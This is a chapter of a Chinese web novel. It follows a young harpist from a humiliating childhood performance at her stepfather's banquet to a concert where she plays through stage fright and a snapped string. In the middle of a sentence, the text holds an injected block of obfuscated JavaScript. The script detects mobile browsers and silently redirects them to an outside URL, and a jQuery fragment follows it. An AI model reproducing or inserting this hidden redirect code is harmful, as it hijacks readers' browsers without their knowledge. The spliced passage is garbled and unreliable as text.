八岁学习竖琴，九岁双修箜篌，是辛玫对童年的全部回忆。
《夜莺》是她完整背下的第一首曲子。母亲改嫁温特家的第二年，继父为了表示温特家对她们母女的欢迎，特地给八岁的辛玫办了生日宴，那同时也是她第一次登上舞台的地方。
母亲给她准备了一顶小王冠，登台穿的是红丝绒质感的公主裙，背后系着大大的蝴蝶结，裙子底下还加了微微蓬起的白纱裙撑。
镜子里戴着铂金王冠的小女孩漂亮又陌生，像是中世纪生活在童话城堡的玫瑰公主。
玫瑰公主的脑袋真的有点儿大。
母亲说，“腰背要挺直，你是温特家的女儿，要学着你的两个哥哥那样抬头挺胸。”
宴会厅的水晶灯亮如白昼，母亲牵着她的手从旋转楼梯下来。继父弗莱德·温特先生站在雕花栏杆旁，笔挺的燕尾服衬得他像一尊成熟英俊的蜡像，两个继兄分立两侧。
夏穆哥哥永远像个标准的小绅士，幽绿眼底有着与父亲如出一辙的沉稳眼神；而法穆哥哥靠在扶手上，卷毛头发乱得像刚睡醒的波斯猫，手里掌机游戏的屏幕卡通不断。
继父举办的生日宴，表面上是欢迎她们母女加入温特家，实际上却需要她们用这场橱窗式的生日展览来展现价值。母亲需要巩固温特夫人的位置，而辛玫就是母亲手里听话的夜莺。
站上宴会厅中心纯白色的小舞台时，辛玫感觉自己的呼吸都被空气抽走了。
台下模糊的大人身影长着无数张形状各异的嘴巴，吐出的晦涩发音各有各的地方特色，辛玫根本理解不了意思，她唯一听懂的一句话是:
Thenightingaleisplayingthenightingale.（夜莺在台上弹奏夜莺。）
她年纪尚小，但隐约觉得这是个笑话。
第一个音落下时，辛玫弹错了。
她下意识看向人群中的母亲，母亲脸上笑容僵硬，母亲下意识看向的是继父，继父的眉头正微微皱起。
大家都听到了这个错误，投向辛玫的眼神都像在看动物园里没毛的夜莺，窃笑声从四面八方涌来。
辛玫觉得丢脸，很想逃跑。
想提起裙摆飞奔冲下舞台，躲进茂密的花园把自己藏起来，最好找到一个兔子洞钻进去。
然而她的公主裙很沉，想想也知道没机会逃出去，以她四肢不协调的程度，很有可能还得当场摔一跤，那样她就真成了无毛夜莺。
她一开始就弹错音，接下来的调子更是磕磕绊绊。昨天明明已经抄了三个小时琴谱，她睡前还特意背了一遍。
可那些记忆睡完一觉就突然飞走了。
她找不到她的节奏，凭着脑子里残留的音符，乱七八糟地往下弹。遇到太远的高音区干脆跳过，手指疼得厉害就开始放慢速度。台下的窃笑声越来越大，母亲的脸色从满眼期待变成满脸尴尬，最后变成无地自容的灰败，继父的眉头也越皱越紧。
但辛玫没有停，还是没有停，她记得老师告诉她，弹奏出错可以，但不要停，弹错最多证明你不熟练，但是中断意味着你在舞台上彻底失败。
她凭着一股倔强的坚持弹了下去，最后一个音符落下，十个手指头麻到失去知觉。全场寂静了好几秒，才有两个人拍起手掌，随后其他人跟着响起稀稀拉拉的掌声。母亲勉强笑了笑，而继父只是象征性地轻抚两下手掌，打量她的目光残酷地像在评价瑕疵艺术品。
她还是搞砸了，辛玫沮丧地鞠躬行礼。
明明是她的生日宴，可她成了当天全场嘲笑的对象。
她又把自己关到了屋子里，琴谱摊开在书桌上，一遍一遍地反复临摹着早已滚瓜烂熟的琴谱。
她的脑袋又圆又大，为什么这么不好用呢？需要动脑的时候永远一团浆糊，不需要动脑的时候，所有记忆都深刻到无法抹除。
敲门声响起，她以为是母亲来训她，她害怕到躲进衣柜。然而衣柜门被打开以后，她看见是两个穿着同款小西服的身影。
夏穆端着一块缀着糖霜玫瑰的蛋糕，法穆递出一颗裹着金箔纸的太妃糖。
她那不太聪明的大脑在此刻动了起来，她想起宴会上最开始为她鼓掌的两个人是双生子继兄。
可他们那会儿正缩在角落里一块儿玩掌机游戏，他们给出的掌声，是游戏大获全胜以后，给彼此送出的喝彩。
糖霜蛋糕和金箔糖果全部都是羞辱，她红着眼眶全部打翻。
*
黑暗中她闭上眼，独自等待着那扇通往舞台的门被推开。
门被推开，聚光灯瞬间落下，映亮她前往舞台的道路。
她看见台下黑压压的观众，无数双眼睛，无数个镜头，同时聚焦在她身上，她的大脑瞬间一片空白，呼吸成了一件无比困难的事。
她不记得自己是如何摆动僵硬的肢体，一步一步迎着光慢慢走到舞台中央的，她只记得自己端端端正正地坐在琴凳上，手指悬在琴弦边，迟迟无法拨动。
许是因为舞台静默太久，观众席里渐渐传出细微的骚动。
“她怎么不弹？”
“她怎么了？看起来好像很紧张？”
“脸色好白……身体不舒服吗？”
“是灯光问题吧……”
辛玫强迫自己稳定呼吸。
她能感觉到额头上密密的冷汗渗出来，天知道她多想一头栽倒在舞台上。可心底响起的声音却告诉她，不行，至少不能在这里晕倒。
她又一次控制不住地闭了眼，疯狂给自己洗脑，不要像五年前那样，不要被恐惧打败，不要被舆论吞噬，不要害怕镜头。八岁那年在温特庄园的宴会厅，她因为恐惧而弹错；五年前丑闻爆发，她因为恐惧转身逃跑；难道现在还要因为恐惧，向近在眼前的舞台认输吗？
她明明不是第一次站上舞台了。
八岁那年的恐惧没有斩断她的音乐生命，反而让她长大以后的每一场演出都完美收官；五年躲藏的懦弱也没能让她离开音乐世界，反而让她又一次开始面对镜头。
她并非命运眷顾之人，命运没有给过她逃跑机会，也没有给过她中断演出的可能，八岁那年能弹下去，现在也一定能弹下去。
出错并不可怕，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539457|203903||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中断才是彻底失败。
再睁开眼时，她眼中的迷茫被倔强取代。手指落下，第一声空灵清越的旋律被拨动，月华沧海缓缓流淌。她拨弦的指法带着难以抑制的颤抖。随着音乐推进，她刻意地让自己沉进月升沧海的世界。
舞美灯光幽幽切换成浅银色的月华笼罩，观众审视的目光伴随潮汐或深或浅的拍岸试探，她所恐惧的镜头化作深海里闪烁不定的星辰。
海潮起初轻柔，如微风静水，随后旋律激昂，转为汹涌波涛，箜篌音色空灵悠远，将曲中静水灵动与江海磅礴融合在一起。
音乐在她指尖流动成情绪，月海意象铺陈而来，月光如碎银洒在浪尖，游鱼在深海追逐嬉闹，她忘记聚光灯的炙热，忘记镜头的窥探，甚至忘记自己僵硬的坐姿，全然沉浸到月与海的世界。
舞台上的她全身都绷得很紧。
贵宾包厢里，夏穆眉头微蹙，他见过辛玫从小到大的无数场演奏，没有一场像现在这样吃力。法穆眼神担忧，他从未像现在这样悔恨自己无能，他想冲下去，替她挡住所有镜头，把她带回那个只有明媚阳光的湖边世界。
而舞台侧翼的阴影里，秦晏的目光始终锐利。他看见她的颤抖，看见她额角密布的冷汗，也看见了她眼中那簇不曾熄灭的倔强光芒。
他到底还是赌赢了。
作为这场‘show’的策划者，他以她的成功来巩固自己的商业版图；作为与她朝夕相处五年的恋人，他无法完全忽视那份潜藏在冷静之下的情感，他心疼她，但更多的还是对结果的期待。
这一步她必须走，只有这样，她才能真正站起来，他并不后悔把她逼上去。
月海进入高潮。
辛玫的记忆猝不及防闪回画面，是五年前她被遣送回国，身无分文，在陌生的城市里茫然四顾的样子，她当时像个乞丐。
“铮——”琴弦断了。
台下发出一阵低低的惊呼。
琴弦再一次如八岁那年那样，在辛玫的手背上狠狠抽出一道血痕。辛玫没有在抽痛后立即缩回手，琴谱比疼痛提前一步警醒大脑。
《月海》剩下的旋律里，断掉的第十四弦不是主音，这点儿残缺不足以摧毁整首曲子。她强迫自己把脑海里乱入的记忆甩开，将全部注意力集中在剩余的三十八根琴弦上，琴谱里每个音符的位置都清晰浮现在她脑海。
有个声音在她脑海里提醒:
不能停，绝对不能停，停了你就输了，你没有价值，又得变成五年前那个被抛弃的乞丐。
高潮音色在此刻变得更加饱满，带着破釜沉舟的决绝。她逼着自己沉浸演奏，甚至觉得自己弹奏的不再是《月海》，而是她自己如海潮般起伏的前半生，琴弦震动指尖，与她的心跳融为一体，形成共鸣。
最后一个音符落下，她手背上的血痕在大屏幕里清晰可见。
大剧院里先是一片寂静，随即爆发出雷鸣般的掌声，迟来的喝彩几乎要掀翻剧场的穹顶。
舞台上的人迎着聚光灯站起来，她不戴八岁那年的可笑王冠，但同八岁那年一样鞠躬谢幕，仿佛从未离开舞台。